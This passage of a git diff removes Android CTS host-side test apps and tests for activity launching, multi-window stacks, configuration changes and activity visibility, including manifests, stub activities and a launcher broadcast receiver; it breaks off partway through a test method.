-package android.server.cts.tools;
-
-import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
-
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Bundle;
-import android.server.cts.TestActivity;
-import android.util.Log;
-
-/** Utility class which contains common code for launching activities. */
-public class ActivityLauncher {
-    private static final String TAG = ActivityLauncher.class.getSimpleName();
-
-    public static void launchActivityFromExtras(final Context context, Bundle extras) {
-        if (extras == null || !extras.getBoolean("launch_activity")) {
-            return;
-        }
-
-        Log.i(TAG, "launchActivityFromExtras: extras=" + extras);
-
-        final Intent newIntent = new Intent();
-        final String targetActivity = extras.getString("target_activity");
-        if (targetActivity != null) {
-            final String extraPackageName = extras.getString("package_name");
-            final String packageName = extraPackageName != null ? extraPackageName
-                    : context.getApplicationContext().getPackageName();
-            newIntent.setComponent(new ComponentName(packageName,
-                    packageName + "." + targetActivity));
-        } else {
-            newIntent.setClass(context, TestActivity.class);
-        }
-
-        if (extras.getBoolean("launch_to_the_side")) {
-            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_LAUNCH_ADJACENT);
-            if (extras.getBoolean("random_data")) {
-                final Uri data = new Uri.Builder()
-                        .path(String.valueOf(System.currentTimeMillis()))
-                        .build();
-                newIntent.setData(data);
-            }
-        }
-        if (extras.getBoolean("multiple_task")) {
-            newIntent.addFlags(FLAG_ACTIVITY_MULTIPLE_TASK);
-        }
-        if (extras.getBoolean("new_task")) {
-            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        }
-
-        if (extras.getBoolean("reorder_to_front")) {
-            newIntent.addFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
-        }
-
-        ActivityOptions options = null;
-        final int displayId = extras.getInt("display_id", -1);
-        if (displayId != -1) {
-            options = ActivityOptions.makeBasic();
-            options.setLaunchDisplayId(displayId);
-            newIntent.addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
-        }
-
-        try {
-            context.startActivity(newIntent, options != null ? options.toBundle() : null);
-        } catch (SecurityException e) {
-            Log.e(TAG, "SecurityException launching activity");
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
deleted file mode 100644
index c00f2b6..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.server.cts.debuggable">
-
-    <!--
-     * Security policy requires that only debuggable processes can be profiled
-     * which is tested by ActivityManagerAmProfileTests.
-     -->
-    <application android:debuggable="true">
-        <activity android:name=".DebuggableAppActivity"
-                  android:resizeableActivity="true"
-                  android:exported="true" />
-    </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
deleted file mode 100644
index 504ffcf..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.debuggable;
-
-import android.app.Activity;
-
-public class DebuggableAppActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
deleted file mode 100644
index 7727759..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.displaysize.app">
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-
-    <!-- Set a ridiculously high value for required smallest width. Hopefully
-         we never have to run CTS on Times Square display. -->
-    <supports-screens android:requiresSmallestWidthDp="100000" />
-
-    <application>
-        <activity android:name=".SmallestWidthActivity"
-                  android:exported="true" />
-    </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
deleted file mode 100644
index 5da44c7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.displaysize.app;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class SmallestWidthActivity extends Activity {
-
-    @Override
-    protected void onNewIntent(Intent intent) {
-        super.onNewIntent(intent);
-
-        final Bundle extras = intent.getExtras();
-        if (extras != null && extras.getBoolean("launch_another_activity")) {
-            Intent startIntent = new Intent();
-            startIntent.setComponent(
-                    new ComponentName("android.server.cts", "android.server.cts.TestActivity"));
-            startActivity(startIntent);
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
deleted file mode 100644
index 53aa2d4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.server.cts.second">
-
-    <application>
-        <activity
-            android:name=".SecondActivity"
-            android:resizeableActivity="true"
-            android:allowEmbedded="true"
-            android:exported="true" />
-        <activity
-            android:name=".SecondActivityNoEmbedding"
-            android:resizeableActivity="true"
-            android:allowEmbedded="false"
-            android:exported="true" />
-        <receiver
-            android:name=".LaunchBroadcastReceiver"
-            android:enabled="true"
-            android:exported="true" >
-            <intent-filter>
-                <action android:name="android.server.cts.second.LAUNCH_BROADCAST_ACTION"/>
-            </intent-filter>
-        </receiver>
-    </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
deleted file mode 100644
index a8ebb86..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.second;
-
-import android.app.ActivityOptions;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-/** Broadcast receiver that can launch activities. */
-public class LaunchBroadcastReceiver extends BroadcastReceiver {
-    private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        final Bundle extras = intent.getExtras();
-        final Intent newIntent = new Intent();
-
-        final String targetActivity = extras != null ? extras.getString("target_activity") : null;
-        if (targetActivity != null) {
-            String packageName = extras.getString("package_name");
-            newIntent.setComponent(new ComponentName(packageName,
-                    packageName + "." + targetActivity));
-        } else {
-            newIntent.setClass(context, SecondActivity.class);
-        }
-
-        ActivityOptions options = ActivityOptions.makeBasic();
-        int displayId = extras.getInt("display_id", -1);
-        if (displayId != -1) {
-            options.setLaunchDisplayId(displayId);
-            newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        } else {
-            newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        }
-
-        try {
-            context.startActivity(newIntent, options.toBundle());
-        } catch (SecurityException e) {
-            Log.e(TAG, "SecurityException launching activity");
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
deleted file mode 100644
index cea9ed5..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.second;
-
-import android.app.Activity;
-
-public class SecondActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
deleted file mode 100644
index 543e008..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.second;
-
-import android.app.Activity;
-
-public class SecondActivityNoEmbedding extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
deleted file mode 100644
index aed24c7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.server.cts.third">
-
-    <application>
-        <activity android:name=".ThirdActivity"
-                  android:resizeableActivity="true"
-                  android:allowEmbedded="true"
-                  android:exported="true" />
-    </application>
-
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
deleted file mode 100644
index eeddc3d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts.third;
-
-import android.app.Activity;
-
-public class ThirdActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
deleted file mode 100644
index add7e42..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.StateLogger.log;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityAndWindowManagerOverrideConfigTests
- */
-public class ActivityAndWindowManagerOverrideConfigTests extends ActivityManagerTestBase {
-    private static final String TEST_ACTIVITY_NAME = "LogConfigurationActivity";
-
-    private class ConfigurationChangeObserver {
-        private final Pattern mConfigurationChangedPattern =
-            Pattern.compile("(.+)Configuration changed: (\\d+),(\\d+)");
-
-        private ConfigurationChangeObserver() {
-        }
-
-        private boolean findConfigurationChange(String activityName, String logSeparator)
-                throws DeviceNotAvailableException, InterruptedException {
-            int tries = 0;
-            boolean observedChange = false;
-            while (tries < 5 && !observedChange) {
-                final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
-                log("Looking at logcat");
-                for (int i = lines.length - 1; i >= 0; i--) {
-                    final String line = lines[i].trim();
-                    log(line);
-                    Matcher matcher = mConfigurationChangedPattern.matcher(line);
-                    if (matcher.matches()) {
-                        observedChange = true;
-                        break;
-                    }
-                }
-                tries++;
-                Thread.sleep(500);
-            }
-            return observedChange;
-        }
-    }
-
-    public void testReceiveOverrideConfigFromRelayout() throws Exception {
-        if (!supportsFreeform()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support freeform. Skipping test.");
-            return;
-        }
-
-        launchActivityInStack(TEST_ACTIVITY_NAME, FREEFORM_WORKSPACE_STACK_ID);
-
-        setDeviceRotation(0);
-        String logSeparator = clearLogcat();
-        resizeActivityTask(TEST_ACTIVITY_NAME, 0, 0, 100, 100);
-        ConfigurationChangeObserver c = new ConfigurationChangeObserver();
-        final boolean reportedSizeAfterResize = c.findConfigurationChange(TEST_ACTIVITY_NAME,
-                logSeparator);
-        assertTrue("Expected to observe configuration change when resizing",
-                reportedSizeAfterResize);
-
-        logSeparator = clearLogcat();
-        setDeviceRotation(2);
-        final boolean reportedSizeAfterRotation = c.findConfigurationChange(TEST_ACTIVITY_NAME,
-                logSeparator);
-        assertFalse("Not expected to observe configuration change after flip rotation",
-                reportedSizeAfterRotation);
-    }
-}
-
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
deleted file mode 100644
index c51f24a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ /dev/null
@@ -1,404 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.StateLogger.logE;
-
-import android.platform.test.annotations.Presubmit;
-
-import java.lang.Exception;
-import java.lang.String;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerActivityVisibilityTests
- */
-public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
-    private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
-    private static final String PIP_ON_PIP_ACTIVITY = "LaunchPipOnPipActivity";
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String TRANSLUCENT_ACTIVITY_NAME = "TranslucentActivity";
-    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
-    private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
-    private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
-    private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
-
-    private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
-    private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
-    private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
-    private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
-    private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
-    private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
-            "TurnScreenOnWithRelayoutActivity";
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        tearDownLockCredentials();
-    }
-
-    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
-        mAmWmState.waitForValidState(mDevice, PIP_ON_PIP_ACTIVITY);
-        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
-        // translucent activity.
-        executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-
-        mAmWmState.computeState(mDevice, new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
-        mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
-        mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-    }
-
-    /**
-     * Asserts that the home activity is visible when a translucent activity is launched in the
-     * fullscreen stack over the home activity.
-     */
-    public void testTranslucentActivityOnTopOfHome() throws Exception {
-        if (noHomeScreen()) {
-            return;
-        }
-
-        launchHomeActivity();
-        launchActivity(TRANSLUCENT_ACTIVITY);
-
-        mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
-        mAmWmState.assertFrontStack(
-                "Fullscreen stack must be the front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-        mAmWmState.assertHomeActivityVisible(true);
-    }
-
-    /**
-     * Assert that the home activity is visible if a task that was launched from home is pinned
-     * and also assert the next task in the fullscreen stack isn't visible.
-     */
-    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
-        if (!supportsPip()) {
-            return;
-        }
-
-        launchHomeActivity();
-        launchActivity(TEST_ACTIVITY_NAME);
-        launchHomeActivity();
-        launchActivity(TRANSLUCENT_ACTIVITY);
-        executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
-
-        mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
-
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
-        mAmWmState.assertHomeActivityVisible(true);
-    }
-
-    public void testTranslucentActivityOverDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
-        launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
-        launchActivityInStack(TRANSLUCENT_ACTIVITY_NAME, DOCKED_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME,
-                TRANSLUCENT_ACTIVITY_NAME}, false /* compareTaskAndStackBounds */);
-        mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain fullscreen stack",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
-    }
-
-    @Presubmit
-    public void testTurnScreenOnActivity() throws Exception {
-        sleepDevice();
-        launchActivity(TURN_SCREEN_ON_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
-    }
-
-    public void testFinishActivityInNonFocusedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Launch two activities in docked stack.
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        getLaunchActivityBuilder().setTargetActivityName(BROADCAST_RECEIVER_ACTIVITY).execute();
-        mAmWmState.computeState(mDevice, new String[] { BROADCAST_RECEIVER_ACTIVITY });
-        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-        // Launch something to fullscreen stack to make it focused.
-        launchActivityInStack(TEST_ACTIVITY_NAME, 1);
-        mAmWmState.computeState(mDevice, new String[] { TEST_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
-        // Finish activity in non-focused (docked) stack.
-        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-        mAmWmState.computeState(mDevice, new String[] { LAUNCHING_ACTIVITY });
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
-    }
-
-    public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
-        performFinishActivityWithMoveTaskToBack("on_pause");
-    }
-
-    public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
-        performFinishActivityWithMoveTaskToBack("on_stop");
-    }
-
-    private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
-        // Make sure home activity is visible.
-        launchHomeActivity();
-        if (!noHomeScreen()) {
-            mAmWmState.assertHomeActivityVisible(true /* visible */);
-        }
-
-        // Launch an activity that calls "moveTaskToBack" to finish itself.
-        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
-        mAmWmState.waitForValidState(mDevice, MOVE_TASK_TO_BACK_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, true);
-
-        // Launch a different activity on top.
-        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
-        mAmWmState.waitForActivityState(mDevice, BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
-        mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, false);
-        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-
-        // Finish the top-most activity.
-        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
-        // Home must be visible.
-        if (!noHomeScreen()) {
-            mAmWmState.waitForHomeActivityVisible(mDevice);
-            mAmWmState.assertHomeActivityVisible(true /* visible */);
-        }
-    }
-
-    /**
-     * Asserts that launching between reorder to front activities exhibits the correct backstack
-     * behavior.
-     */
-    public void testReorderToFrontBackstack() throws Exception {
-        // Start with home on top
-        launchHomeActivity();
-        if (!noHomeScreen()) {
-            mAmWmState.assertHomeActivityVisible(true /* visible */);
-        }
-
-        // Launch the launching activity to the foreground
-        launchActivity(LAUNCHING_ACTIVITY);
-
-        // Launch the alternate launching activity from launching activity with reorder to front.
-        getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
-                .setReorderToFront(true).execute();
-
-        // Launch the launching activity from the alternate launching activity with reorder to
-        // front.
-        getLaunchActivityBuilder().setTargetActivityName(LAUNCHING_ACTIVITY)
-                .setLaunchingActivityName(ALT_LAUNCHING_ACTIVITY).setReorderToFront(true)
-                .execute();
-
-        // Press back
-        pressBackButton();
-
-        mAmWmState.waitForValidState(mDevice, ALT_LAUNCHING_ACTIVITY);
-
-        // Ensure the alternate launching activity is in focus
-        mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
-                ALT_LAUNCHING_ACTIVITY);
-    }
-
-    /**
-     * Asserts that the activity focus and history is preserved moving between the activity and
-     * home stack.
-     */
-    public void testReorderToFrontChangingStack() throws Exception {
-        // Start with home on top
-        launchHomeActivity();
-        if (!noHomeScreen()) {
